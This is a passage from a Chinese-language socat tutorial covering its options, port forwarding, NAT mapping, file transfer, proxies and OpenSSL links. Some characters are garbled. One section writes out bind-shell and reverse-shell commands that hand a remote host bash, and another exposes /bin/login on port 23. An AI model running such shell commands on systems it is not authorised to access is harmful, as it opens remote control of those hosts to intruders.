? ? ? -ls ? ? ? ? ? ? 記錄到標(biāo)準(zhǔn)錯(cuò)誤(如果沒有其他日志,則默認(rèn))
? ? ? -lm[facility] ? 混合日志模式(初始化期間的stderr,然后是syslog)
? ? ? -lp<progname> ? 設(shè)置用于記錄的程序名稱
? ? ? -lu ? ? ? ? ? ? 使用微秒記錄時(shí)間戳
? ? ? -lh ? ? ? ? ? ? 將主機(jī)名添加到日志消息中
? ? ? -v ? ? ? ? ? ? ?把數(shù)據(jù)流量轉(zhuǎn)儲(chǔ)為文本文件
? ? ? -x ? ? ? ? ? ? ?把數(shù)據(jù)流量轉(zhuǎn)儲(chǔ)為16進(jìn)制文件
? ? ? -r <file> ? ? ? 轉(zhuǎn)儲(chǔ) 從左到右 流動(dòng)的原始數(shù)據(jù)
? ? ? -R <file> ? ? ? 轉(zhuǎn)儲(chǔ) 從右到左 流動(dòng)的原始數(shù)據(jù)
? ? ? -b<size_t> ? ? ?設(shè)置數(shù)據(jù)緩沖區(qū)大小 (8192)
? ? ? -s ? ? ? ? ? ? ?馬虎模式。即出現(xiàn)錯(cuò)誤時(shí)繼續(xù)。
? ? ? -t<timeout> ? ? 在關(guān)閉第二個(gè)通道之前等待幾秒鐘
? ? ? -T<timeout> ? ? 再多少秒不活動(dòng)時(shí),設(shè)置超時(shí)
? ? ? -u ? ? ? ? ? ? ?單向模式(從左到右)
? ? ? -U ? ? ? ? ? ? ?單向模式(從右到左)
? ? ? -g ? ? ? ? ? ? ?不檢查選項(xiàng)組
? ? ? -L <lockfile> ? 嘗試獲取鎖,否則失敗
? ? ? -W <lockfile> ? 嘗試獲取鎖,或者等待
? ? ? -4 ? ? ? ? ? ? ?如果沒有明確指定版本,則首選 IPv4
? ? ? -6 ? ? ? ? ? ? ?如果沒有明確指定版本,則首選 IPv6
? ?雙向地址: ??
? ? ? pipe[,<opts>] ? ? groups=FD,FIFO
? ? ? <single-address>!!<single-address>
? ? ? <single-address>
? ?單向地址:
? ? ? <address-head>[,<opts>]
? ?address-head:
? ? ? abstract-client:<filename> ? ? ? ?groups=FD,SOCKET,RETRY,UNIX
? ? ? abstract-connect:<filename> ? ? ? groups=FD,SOCKET,RETRY,UNIX
? ? ? abstract-listen:<filename> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
? ? ? abstract-recv:<filename> ?groups=FD,SOCKET,RETRY,UNIX
? ? ? abstract-recvfrom:<filename> ? ? ?groups=FD,SOCKET,CHILD,RETRY,UNIX
? ? ? abstract-sendto:<filename> ? ? ? ?groups=FD,SOCKET,RETRY,UNIX
? ? ? create:<filename> groups=FD,REG,NAMED
? ? ? exec:<command-line> ? ? ? groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
? ? ? fd:<num> ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? gopen:<filename> ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
? ? ? interface:<interface> ? ? groups=FD,SOCKET
? ? ? ip-datagram:<host>:<protocol> ? ? groups=FD,SOCKET,RANGE,IP4,IP6
? ? ? ip-recv:<protocol> ? ? ? ?groups=FD,SOCKET,RANGE,IP4,IP6
? ? ? ip-recvfrom:<protocol> ? ?groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
? ? ? ip-sendto:<host>:<protocol> ? ? ? groups=FD,SOCKET,IP4,IP6
? ? ? ip4-datagram:<host>:<protocol> ? ?groups=FD,SOCKET,RANGE,IP4
? ? ? ip4-recv:<protocol> ? ? ? groups=FD,SOCKET,RANGE,IP4
? ? ? ip4-recvfrom:<protocol> ? groups=FD,SOCKET,CHILD,RANGE,IP4
? ? ? ip4-sendto:<host>:<protocol> ? ? ?groups=FD,SOCKET,IP4
? ? ? ip6-datagram:<host>:<protocol> ? ?groups=FD,SOCKET,RANGE,IP6
? ? ? ip6-recv:<protocol> ? ? ? groups=FD,SOCKET,RANGE,IP6
? ? ? ip6-recvfrom:<protocol> ? groups=FD,SOCKET,CHILD,RANGE,IP6
? ? ? ip6-sendto:<host>:<protocol> ? ? ?groups=FD,SOCKET,IP6
? ? ? open:<filename> ? groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
? ? ? openssl:<host>:<port> ? ? groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
? ? ? openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
? ? ? openssl-dtls-server:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
? ? ? openssl-listen:<port> ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
? ? ? pipe:<filename> ? groups=FD,FIFO,NAMED,OPEN
? ? ? proxy:<proxy-server>:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
? ? ? pty ? ? ? groups=FD,NAMED,TERMIOS,PTY
? ? ? sctp-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
? ? ? sctp-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
? ? ? sctp4-connect:<host>:<port> ? ? ? groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
? ? ? sctp4-listen:<port> ? ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
? ? ? sctp6-connect:<host>:<port> ? ? ? groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
? ? ? sctp6-listen:<port> ? ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
? ? ? socket-connect:<domain>:<protocol>:<remote-address> ? ? ? groups=FD,SOCKET,CHILD,RETRY
? ? ? socket-datagram:<domain>:<type>:<protocol>:<remote-address> ? ? ? groups=FD,SOCKET,RANGE
? ? ? socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
? ? ? socket-recv:<domain>:<type>:<protocol>:<local-address> ? ?groups=FD,SOCKET,RANGE
? ? ? socket-recvfrom:<domain>:<type>:<protocol>:<local-address> ? ? ? ?groups=FD,SOCKET,CHILD,RANGE
? ? ? socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
? ? ? socks4:<socks-server>:<host>:<port> ? ? ? groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
? ? ? socks4a:<socks-server>:<host>:<port> ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
? ? ? stderr ? ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? stdin ? ? groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? stdio ? ? groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? stdout ? ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? system:<shell-command> ? ?groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
? ? ? tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
? ? ? tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
? ? ? tcp4-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
? ? ? tcp4-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
? ? ? tcp6-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
? ? ? tcp6-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
? ? ? tun[:<ip-addr>/<bits>] ? ?groups=FD,CHR,NAMED,OPEN,INTERFACE
? ? ? udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
? ? ? udp-datagram:<host>:<port> ? ? ? ?groups=FD,SOCKET,RANGE,IP4,IP6,UDP
? ? ? udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
? ? ? udp-recv:<port> ? groups=FD,SOCKET,RANGE,IP4,IP6,UDP
? ? ? udp-recvfrom:<port> ? ? ? groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
? ? ? udp-sendto:<host>:<port> ?groups=FD,SOCKET,IP4,IP6,UDP
? ? ? udp4-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,IP4,UDP
? ? ? udp4-datagram:<host>:<port> ? ? ? groups=FD,SOCKET,RANGE,IP4,UDP
? ? ? udp4-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
? ? ? udp4-recv:<port> ?groups=FD,SOCKET,RANGE,IP4,UDP
? ? ? udp4-recvfrom:<port> ? ? ?groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
? ? ? udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
? ? ? udp6-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,IP6,UDP
? ? ? udp6-datagram:<host>:<port> ? ? ? groups=FD,SOCKET,RANGE,IP6,UDP
? ? ? udp6-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
? ? ? udp6-recv:<port> ?groups=FD,SOCKET,RANGE,IP6,UDP
? ? ? udp6-recvfrom:<port> ? ? ?groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
? ? ? udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
? ? ? unix-client:<filename> ? ?groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? unix-connect:<filename> ? groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? unix-listen:<filename> ? ?groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
? ? ? unix-recv:<filename> ? ? ?groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? unix-recvfrom:<filename> ?groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
? ? ? unix-sendto:<filename> ? ?groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? vsock-connect:<cid>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY
? ? ? vsock-listen:<port> ? ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY
address 有一下幾種形式:
- - STDIN STDOUT :表示標(biāo)準(zhǔn)輸入輸出,可以就用一個(gè)橫杠代替
- /var/log/syslog : 也可以是任意路徑,如果是相對(duì)路徑要使用./,打開一個(gè)文件作為數(shù)據(jù)流。
- TCP:127.0.0.1:1080 : 建立一個(gè)TCP連接作為數(shù)據(jù)流,TCP也可以替換為UDP
- TCP-LISTEN:12345 : 建立TCP監(jiān)聽端口,TCP也可以替換為UDP
- EXEC:/bin/bash : 執(zhí)行一個(gè)程序作為數(shù)據(jù)流。
socat 的使用
場(chǎng)景一:本地有個(gè)文件,想要顯示在終端中
? ? socat - /etc/sysctl.conf場(chǎng)景二:有個(gè)TCP連接會(huì)連上來,想看下會(huì)獲得什么數(shù)據(jù)。
? ? socat TCP-LISTEN:12345 -場(chǎng)景三:在目標(biāo)機(jī)上弄一個(gè)shell代理
? ? socat TCP-LISTEN:12345 EXEC:/bin/bash場(chǎng)景四:本地 UNIX DOMAIN 域套接字,轉(zhuǎn)成 TCP SOCKET 供局域網(wǎng)內(nèi)的機(jī)器使用
? ? // 當(dāng)有多個(gè)tcp連上來時(shí),可以使用?fork 一個(gè)去連域套接字
? ? socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain? ??
場(chǎng)景五
? ? 將本地的80端口轉(zhuǎn)到遠(yuǎn)程去
? ? socat TCP-LISTEN:80,fork TCP:www.baidu.com:80
網(wǎng)絡(luò)測(cè)試
這個(gè)類似 nc 的連通性測(cè)試,兩臺(tái)主機(jī)到底網(wǎng)絡(luò)能否聯(lián)通:
socat - TCP-LISTEN:8080 ? ? ? ? ? ? ? # 終端1 上啟動(dòng) server 監(jiān)聽 TCP
socat - TCP:localhost:8080 ? ? ? ? ? ?# 終端2 上啟動(dòng) client 鏈接 TCP
在終端 1 上輸入第一行命令作為服務(wù)端,并在終端 2 上輸入第二行命令作為客戶端去鏈接。
聯(lián)通后在終端2上隨便輸入點(diǎn)什么,就能顯示在終端1上,反之亦然,因?yàn)閮蓷l命令都是把標(biāo)準(zhǔn)輸入輸出和網(wǎng)絡(luò)串起來,因此把兩個(gè)地址交換一下也是等價(jià)的:
socat TCP-LISTEN:8080 - ? ? ? ? ? ? ? # 終端1 上啟動(dòng) server 監(jiān)聽 TCP
socat TCP:localhost:8080 - ? ? ? ? ? ?# 終端2 上啟動(dòng) client 鏈接 TCP
因?yàn)?socat 就是把左右兩個(gè)地址的輸入輸出接在一起,因此顛倒左右兩個(gè)地址影響不大,除非前面指明?-u
?或者?-U
?顯示指明數(shù)據(jù) "從左到右"?還是 "從右到左" 。
同 netcat 一樣,如果客戶端結(jié)束的話,服務(wù)端也會(huì)結(jié)束,但是 socat 還可以加額外參數(shù):
socat - TCP-LISTEN:8080,fork,reuseaddr ? ? ?# 終端1 上啟動(dòng) server
socat - TCP:localhost:8080 ? ? ? ? ? ? ? ? ?# 終端2 上啟動(dòng) client
服務(wù)端在?TCP-LISTEN
?地址后面加了?fork
?的參數(shù)后,就能同時(shí)應(yīng)答多個(gè)鏈接過來的客戶端,每個(gè)客戶端會(huì) fork 一個(gè)進(jìn)程出來進(jìn)行通信,加上?reuseaddr
?可以防止鏈接沒斷開玩無法監(jiān)聽的問題。
剛才也說了使用 socat 主要就是學(xué)習(xí)描述各種地址,那么想測(cè)試 UDP 的話修改一下就行:
socat - UDP-LISTEN:8080 ? ? ? ? ? ? ? # 終端1 上啟動(dòng) server 監(jiān)聽 UDP
socat - UDP:localhost:8080 ? ? ? ? ? ?# 終端2 上啟動(dòng) client 鏈接 UDP
網(wǎng)絡(luò)管理
連接遠(yuǎn)程端口:socat - TCP:192.168.1.252:3306
監(jiān)聽一個(gè)新端口:socat TCP-LISTEN:7000 -
端口轉(zhuǎn)發(fā)
在主機(jī)上監(jiān)聽一個(gè) 8080 端口,將 8080 端口所有流量轉(zhuǎn)發(fā)給遠(yuǎn)程機(jī)器的 80 端口:
socat TCP-LISTEN:8080,fork,reuseaddr ?TCP:192.168.1.3:80
那么連到這臺(tái)機(jī)器上 8080 端口的所有鏈接,相當(dāng)于鏈接了 192.168.1.3 這臺(tái)機(jī)器的 80 端口,命令中交換左右兩個(gè)地址一樣是等價(jià)的。
這里 socat 比 nc 強(qiáng)的地方就體現(xiàn)出來了,nc 做轉(zhuǎn)發(fā)時(shí)只能轉(zhuǎn)發(fā) 1 次,第一條鏈接 accept 并且關(guān)閉以后 nc 就退出了,無法接受新鏈接,因此 nc 只適合單次使用。而 socat 加上?fork
?以后,每次 accept 一個(gè)鏈接都會(huì) fork 出一份來不影響接收其他的新連接,這樣 socat 就可以當(dāng)一個(gè)端口轉(zhuǎn)發(fā)服務(wù),一直啟動(dòng)在那里。還可以用 supervisor 托管起來,開機(jī)自動(dòng)啟動(dòng)。
還可以用這個(gè)功能暴露一些 127.0.0.1 的端口出來供外面訪問,比起 nc 的臨時(shí)救急使用一下的場(chǎng)景,socat 是可以當(dāng)一個(gè)服務(wù)長期運(yùn)行的。
場(chǎng)景 2:在實(shí)際生產(chǎn)中我們經(jīng)常會(huì)遇到到一個(gè)場(chǎng)景就是,用一臺(tái)機(jī)器作為轉(zhuǎn)發(fā)服務(wù)器,連接 AB 兩個(gè)網(wǎng)段,將轉(zhuǎn)發(fā)服務(wù)器的某個(gè)端口上的流量轉(zhuǎn)發(fā)到 B 網(wǎng)段的某臺(tái)機(jī)器的某個(gè)端口,這樣 A 網(wǎng)段的服務(wù)器就可以通過訪問轉(zhuǎn)發(fā)服務(wù)器上的端口訪問到 B 網(wǎng)段的服務(wù)器端口。
這樣的場(chǎng)景一般在和客戶建立專線的連接時(shí)候經(jīng)常用到,一般也可以采用 iptables 做轉(zhuǎn)發(fā),但是比較復(fù)雜。Socat 可以很輕松的完成這個(gè)功能,但是 Socat 不支持端口段轉(zhuǎn)發(fā),只適用于單端口或者少量端口。
轉(zhuǎn)發(fā) TCP。監(jiān)聽 192.168.1.252 網(wǎng)卡的 15672 端口,并將請(qǐng)求轉(zhuǎn)發(fā)至 172.17.0.15 的 15672 端口。命令:socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
參數(shù)說明:
- 1. -d -d 前面兩個(gè)連續(xù)的 -d -d 代表調(diào)試信息的輸出級(jí)別。
- 2. -lf /var/log/socat.log 指定輸出信息的文件保存位置。
- 3. TCP4-LISTEN:15672 在本地建立一個(gè) TCP IPv4 協(xié)議的監(jiān)聽端口,也就是轉(zhuǎn)發(fā)端口。這里是 15672,請(qǐng)根據(jù)實(shí)際情況改成你自己需要轉(zhuǎn)發(fā)的端口。
- 4. bind 指定監(jiān)聽綁定的 IP 地址,不綁定的話將監(jiān)聽服務(wù)器上可用的全部 IP。
- 5. reuseaddr 綁定一個(gè)本地端口。
- 6. fork TCP4:172.17.0.15:15672 指的是要轉(zhuǎn)發(fā)到的服務(wù)器 IP 和端口,這里是 172.17.0.15 的 15672 端口。
轉(zhuǎn)發(fā) UDP。轉(zhuǎn)發(fā) UDP 和 TCP 類似,只要把 TCP4 改成 UDP4 就行了。
命令:socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123
NAT 映射。在一個(gè) NAT 網(wǎng)絡(luò)環(huán)境中,也是可以通過 Socat 將內(nèi)部機(jī)器端口映射到公網(wǎng)上的。
在外部公網(wǎng)機(jī)器上執(zhí)行命令:socat tcp-listen:1234 tcp-listen:3389
在內(nèi)部私網(wǎng)機(jī)器上執(zhí)行命令:socat tcp:outerhost:1234 tcp:192.168.1.34:3389
這樣,你外部機(jī)器上的 3389 就映射在內(nèi)網(wǎng) 192.168.1.34 的 3389 端口上了。
不過這樣場(chǎng)景下更推薦內(nèi)網(wǎng)穿透神器 FRP
fork 服務(wù)
多進(jìn)程。示例命令:socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同設(shè)備的通信
將 U 盤進(jìn)行網(wǎng)絡(luò)共享
示例命令:$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
將終端轉(zhuǎn)發(fā)到串口
示例命令:socat READLINE,/dev/ttyS0,raw,echo=0,crnl
讓 Socat 后臺(tái)運(yùn)行
默認(rèn)情況下 Socat 只在前臺(tái)運(yùn)行,如果要讓 Socat 一直在后臺(tái)運(yùn)行,可以使用 nohup 命令來保證其在后臺(tái)一直運(yùn)行。
示例命令:nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &
除了 nohup 外,Linux 下讓進(jìn)程在后臺(tái)運(yùn)行的方法還很多,比如:screen、tmux 等。在 Linux 中一切都是文件,無論是 Socket 還是其他設(shè)備。所以從理論上來說,一切能夠在文件層級(jí)訪問的內(nèi)容都可以成為 Socat 的數(shù)據(jù)流的來源。
正向 shell、反向 shell
正向 Shell
? ? 1. 服務(wù)端
? ? ? ? # 在服務(wù)端 7005 端口建立一個(gè) Shell。
? ? ? ? $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
? ? ? ? 或者
? ? ? ? $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr ? ?
? ? 2. 客戶端
? ? ? ? # 連接到服務(wù)器的 7005 端口,即可獲得一個(gè) Shell。readline 是 GNU 的命令行編輯器,具有歷史功能。
? ? ? ? $ socat readline tcp:127.0.0.1:7005反彈 Shell。當(dāng)有主機(jī)連接服務(wù)端的 7005 端口時(shí),將會(huì)發(fā)送客戶端的 Shell 給服務(wù)端。
? ? 1. 服務(wù)端
? ? ? ? $ socat -,raw,echo=0 tcp-listen:7005
? ? 2. 客戶端
? ? ? ? $ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane
示例:使用 反向shell 實(shí)現(xiàn)?遠(yuǎn)程登錄
使用 參數(shù)?"EXEC?可以執(zhí)行程序" 并且把輸入輸出和另外一個(gè)地址串起來,比如服務(wù)端:
socat TCP-LISTEN:8080,fork,reuseaddr ?EXEC:/usr/bin/bash ???# 服務(wù)端提供 shell
socat - TCP:localhost:8080 ?????????????????????????????????# 客戶端登錄
完善一點(diǎn)可以加些參數(shù):
socat TCP-LISTEN:8080,fork,reuseaddr ?EXEC:/usr/bin/bash,pty,stderr ??# 服務(wù)端
socat file:`tty`,raw,echo=0 TCP:localhost:8080 ???????????????????????# 客戶端
這樣可以把 bash 的標(biāo)準(zhǔn)錯(cuò)誤重定向給標(biāo)準(zhǔn)輸出,并且用終端模式運(yùn)行??蛻舳丝梢韵駝偛拍菢拥卿?,但是還可以更高級(jí)點(diǎn),用 tty 的方式訪問,這樣基本就得到了一個(gè)全功能的交互式終端了,可以在里面運(yùn)行 vim, emacs 之類的程序。
更高級(jí)一點(diǎn),使用 root 運(yùn)行:
socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty
相當(dāng)于在 23 端口啟動(dòng)了一個(gè) telnetd 的服務(wù),可以用 telnet 客戶端來鏈接。
網(wǎng)頁服務(wù)
首先編寫一個(gè)腳本 web.sh
#! /bin/bash
echo -e -n "HTTP/1.0 200\r\n"
echo -e -n "Content-Type:text/html\r\n"
echo -e -n "\r\n"
echo "<html><body>"
echo "now is $(date)"
echo "</body></html>"
這里我們用?SYSTEM
?地址類型代替原來的?EXEC
?執(zhí)行命令,因?yàn)榭梢院竺鎸?shell 命令:
socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"bash web.sh"
這時(shí)你就可以用瀏覽器訪問:http://localhost:8080?的端口了:
相當(dāng)于每次請(qǐng)求的時(shí)候,socat 都會(huì) fork 一個(gè)進(jìn)程出來然后執(zhí)行后面的命令,啟動(dòng)上面的腳本程序,并且將腳本的標(biāo)準(zhǔn)輸入輸出重定向給網(wǎng)絡(luò)鏈接。
相當(dāng)于原始的 cgi 程序了,我們可以用 shell 直接完成一個(gè) cgi 程序并由 socat 提供 cgi 服務(wù),偶然需要暴露一些服務(wù)器信息的話,可以這樣弄一下,返回的 html 里搞一個(gè)自動(dòng)刷新,然后打開瀏覽器,實(shí)時(shí)監(jiān)控服務(wù)器的情況。
文件傳輸
臨時(shí)需要傳輸下文件,無需 scp:
socat -u TCP-LISTEN:8080 open:record.log,create ? ?# 服務(wù)端接收文件
socat -u open:record.log TCP:localhost:8080 ? ? ? ?# 客戶端發(fā)送文件
這里用了?-u
?參數(shù),意思是數(shù)據(jù)從左邊的地址單向傳輸?shù)接疫叺牡刂?,大?-U
?的話是從右邊單向傳輸?shù)阶筮叀?/p>
將文件 demo.tar.gz 使用 2000 端口從 192.168.1.252 傳到 192.168.1.253,文件傳輸完畢后會(huì)自動(dòng)退出。
在 192.168.1.252 上執(zhí)行:socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上執(zhí)行:socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示數(shù)據(jù)傳輸模式為單向,從左面參數(shù)到右面參數(shù)。
-U 表示數(shù)據(jù)傳輸模式為單向,從右面參數(shù)到左面參數(shù)。
讀寫分流功能
Socat 具有一個(gè)獨(dú)特的讀寫分流功能,比如:可以實(shí)現(xiàn)一個(gè)假的 Web Server,客戶端連過來之后就把 read.html 里面的內(nèi)容傳過去,同時(shí)把客戶端的數(shù)據(jù)保存到 write.txt 里面。
命令:socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符號(hào)用于合并讀寫流,前面的用于讀,后面的用于寫。由于 ! 在 Shell 中是特殊字符,所以這里在命令行中使用 \ 對(duì)其進(jìn)行了轉(zhuǎn)義。
透明代理
第一句是用于 socks 代理的,第二句用于 HTTP 代理:
socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服務(wù)器IP>:<遠(yuǎn)程地址>:<遠(yuǎn)程端口>,socksport=<代理服務(wù)器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服務(wù)器IP>:<遠(yuǎn)程地址>:<遠(yuǎn)程端口>,proxyport=<代理服務(wù)器端口>
他們都可以把本地端口的請(qǐng)求轉(zhuǎn)換成使用代理服務(wù)器訪問的請(qǐng)求,比如:
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
那么鏈接本地的 1234 端口,相當(dāng)于通過代理服務(wù)器 127.0.0.1:5678 去鏈接?google.com?的 80 端口了,這里用了?SOCKS4A
?,后面?A
?的意思是讓代理服務(wù)器去解析域名。
通過 Openssl 來加密傳輸過程
假設(shè)有一個(gè)服務(wù)器主機(jī),地址為 server.domain.org。 并且服務(wù)端程序使用 4433 端口。為了盡可能的簡單,我們使用一個(gè)非常簡單的服務(wù)功能,即服務(wù)端僅回顯數(shù)據(jù)(echo),客戶端只進(jìn)行標(biāo)準(zhǔn)輸入(stdio)。要進(jìn)行 Openssl 加密數(shù)據(jù)傳輸,首先需要生成 Openssl 證書。
1. 生成服務(wù)端的證書
# 為服務(wù)端的證書取一個(gè)基本的名字。
$ FILENAME=server
# 生成公鑰私鑰對(duì)。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一個(gè)自簽名的證書,會(huì)提示你輸入國家代號(hào)、姓名等,或者按下回車鍵跳過輸入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用剛生成的密鑰文件和證書文件來生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
服務(wù)端證書生成完成后,復(fù)制信任證書 server.crt 到 SSL 客戶端所在的主機(jī)上。
2. 生成客戶端證書
# 為客戶端證書取一個(gè)不同的文件名
$ FILENAME=client
重復(fù)上述服務(wù)端生成證書的流程。然后復(fù)制 client.pem 到 SSL 客戶端主機(jī),復(fù)制 client.crt 到服務(wù)端主機(jī)。至此完成了證書交換,服務(wù)端有 server.pem、client.crt 兩個(gè)文件,客戶端有 client.pem 、server.crt 兩個(gè)文件。
其次我們需要建立 Openssl 服務(wù)端,在服務(wù)端我們不再用 tcp-listen (tcp-l) ,而用 openssl-listen (ssl-l) 。cert 參數(shù)告訴 Socat 包含證書和私鑰的文件,cafile 參數(shù)指向客戶端的證書文件。如果客戶端能提供相關(guān)聯(lián)的私鑰,我們則認(rèn)為該連接是可靠的。
$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo
運(yùn)行這個(gè)命令后,Socat 會(huì)在 4433 端口監(jiān)聽,并要求客戶端進(jìn)行身份驗(yàn)證。
最后在客戶端建立一個(gè)加密的鏈接,用 openssl-connect 或者 ssl 替換你的 tcp-connect 或 tcp 地址關(guān)鍵字,然后添加 cert 和 cafile 選項(xiàng)。
$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test文章來源:http://www.zghlxwxcb.cn/news/detail-401583.html
這個(gè)命令用來建立一個(gè)到服務(wù)程序的安全的連接。如果服務(wù)端和客戶端成功建立連接后,會(huì)回顯在客戶端輸入的內(nèi)容。文章來源地址http://www.zghlxwxcb.cn/news/detail-401583.html
到了這里,關(guān)于linux 命令:nc、netcat、ncat、socat的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!